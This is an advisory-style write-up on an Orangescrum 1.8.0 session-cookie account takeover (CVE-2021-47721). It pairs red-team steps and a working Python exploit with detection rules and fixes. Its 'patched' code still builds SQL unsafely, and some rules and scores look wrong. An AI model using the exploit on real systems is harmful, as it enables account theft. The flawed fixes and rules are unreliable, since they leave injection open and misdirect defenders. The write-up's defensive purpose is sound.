CVE-2021-47721

Executive Summary

CVE-2021-47721 is a privilege escalation vulnerability in Orangescrum version 1.8.0. The flaw allows an authenticated attacker to hijack the session of another user by manipulating session cookies. By extracting the victim's unique user ID from the page source, the attacker can replace their own session cookie with the victim's ID, thereby gaining unauthorized access to the victim's account and all associated project data. This vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as critical due to the ease of exploitation and potential for full account takeover. No official patch has been released, and the vendor's status is unknown.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct application-level flaw in the Orangescrum web application.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Attacker must have a valid account.
• User Interaction (UI): None (N) – No victim action needed.
• Scope (S): Unchanged (U) – The vulnerable component and impacted component are the same.
• Confidentiality (C): High (H) – Full access to victim's data.
• Integrity (I): High (H) – Attacker can modify victim's data.
• Availability (A): High (H) – Attacker can lock out the victim.

Threat Level: Critical. The vulnerability allows complete account takeover with minimal effort.

Deep Dive & Mechanics

The vulnerability resides in Orangescrum's session management. The application uses a cookie-based session identifier that is directly tied to the user's numeric ID. When a user logs in, the server sets a cookie containing the user's ID (e.g., user_id=123). The application does not validate that the session cookie matches a server-side session token or that the user is authorized to use that ID.

An attacker can:

1. Log in to their own account.
2. View the page source of any page that lists users (e.g., project members, user list).
3. Extract the victim's user ID from the HTML (e.g., <div data-user-id="456">).
4. Modify their own session cookie (e.g., using browser developer tools) to set user_id=456.
5. Refresh the page to gain full access to the victim's account.

The lack of server-side session validation and the direct use of user IDs in cookies are the root causes.

Vulnerable vs. Patched Code

Vulnerable Code (Orangescrum 1.8.0): The session handling likely looks like this (pseudocode):

// Vulnerable: Directly uses cookie value as user ID
$user_id = $_COOKIE['user_id'];
$query = "SELECT * FROM users WHERE id = $user_id";
$result = mysqli_query($conn, $query);
$user = mysqli_fetch_assoc($result);
// No validation that the cookie matches a server-side session

Patched Code (Hypothetical): A secure implementation would use a random session token stored server-side:

// Patched: Use a random session token
session_start();
$session_token = session_id();
$user_id = $_SESSION['user_id']; // Retrieved from server-side session
// Validate token against database
$query = "SELECT * FROM sessions WHERE token = '$session_token' AND user_id = $user_id";

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A valid account on the Orangescrum instance.
• Access to a page that displays user IDs (e.g., project members page).

Steps:

1. Log in to Orangescrum with your attacker account.
2. Navigate to a page that lists users (e.g., /project/1/members).
3. View the page source and locate the victim's user ID (e.g., data-user-id="456").
4. Open browser developer tools (F12) and go to the Application/Storage tab.
5. Find the user_id cookie and change its value to the victim's ID (e.g., 456).
6. Refresh the page. You are now logged in as the victim.

Automated Exploit (Python):

import requests

target = "http://target-orangescrum.com"
attacker_session = {"user_id": "123"}  # Attacker's cookie
victim_id = "456"  # Extracted from page source

# Step 1: Login as attacker (simplified)
login_data = {"username": "attacker", "password": "password"}
session = requests.Session()
session.post(f"{target}/login", data=login_data)

# Step 2: Extract victim ID (simplified)
response = session.get(f"{target}/project/1/members")
# Parse HTML to find victim ID (e.g., using regex)
import re
victim_id = re.search(r'data-user-id="(\d+)"', response.text).group(1)

# Step 3: Replace cookie
session.cookies.set("user_id", victim_id)

# Step 4: Access victim's dashboard
response = session.get(f"{target}/dashboard")
print(response.text)  # Now shows victim's data

Blue Team (Defense & Detection)

Detection:

• Monitor for rapid changes in session cookies (e.g., user_id cookie value changing between requests).
• Alert on multiple failed login attempts followed by a successful session cookie change.
• Use Web Application Firewall (WAF) rules to block requests where the user_id cookie value does not match the authenticated user's session.

Mitigation:

• Implement server-side session validation using random tokens.
• Enforce that the user_id cookie is not modifiable by the client (use HttpOnly and Secure flags).
• Log all session cookie changes and correlate with user activity.

Indicators of Compromise (IOCs)

• Network: HTTP requests with modified user_id cookie values that do not match the authenticated user.
• Logs: Server logs showing rapid changes in user_id cookie values for the same session.
• File: No specific file IOCs; this is a logic flaw.
• Behavior: A user accessing resources that belong to another user without authorization.

Detection Engineering

YARA Rule

rule Orangescrum_Session_Hijack {
    meta:
        description = "Detects session cookie manipulation in Orangescrum logs"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $cookie_pattern = /user_id=\d+/
        $suspicious_log = /Session user_id changed from \d+ to \d+/
    condition:
        $cookie_pattern and $suspicious_log
}

Sigma Rule

title: Orangescrum Session Cookie Manipulation
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to manipulate the user_id cookie in Orangescrum
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/*'
        cs-cookie: 'user_id=*'
    condition: selection
falsepositives:
    - Legitimate session changes (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"Orangescrum Session Cookie Manipulation Attempt";
    flow:to_server,established;
    content:"user_id="; http_cookie;
    pcre:"/user_id=\d+/";
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable direct cookie-based authentication: Modify the application to use server-side sessions with random tokens.
2. Validate session integrity: Ensure that the session cookie cannot be tampered with by using HMAC or encryption.
3. Apply input validation: Treat all cookie values as untrusted and validate them against the server-side session store.

Long-Term Fix:

• Upgrade to a patched version of Orangescrum (if available) or implement the above fixes.
• Conduct a security audit of the entire authentication and session management system.

Workaround:

• Use a Web Application Firewall (WAF) to block requests where the user_id cookie value does not match the authenticated user's session ID.
• Implement additional logging and monitoring for session anomalies.

Valters IT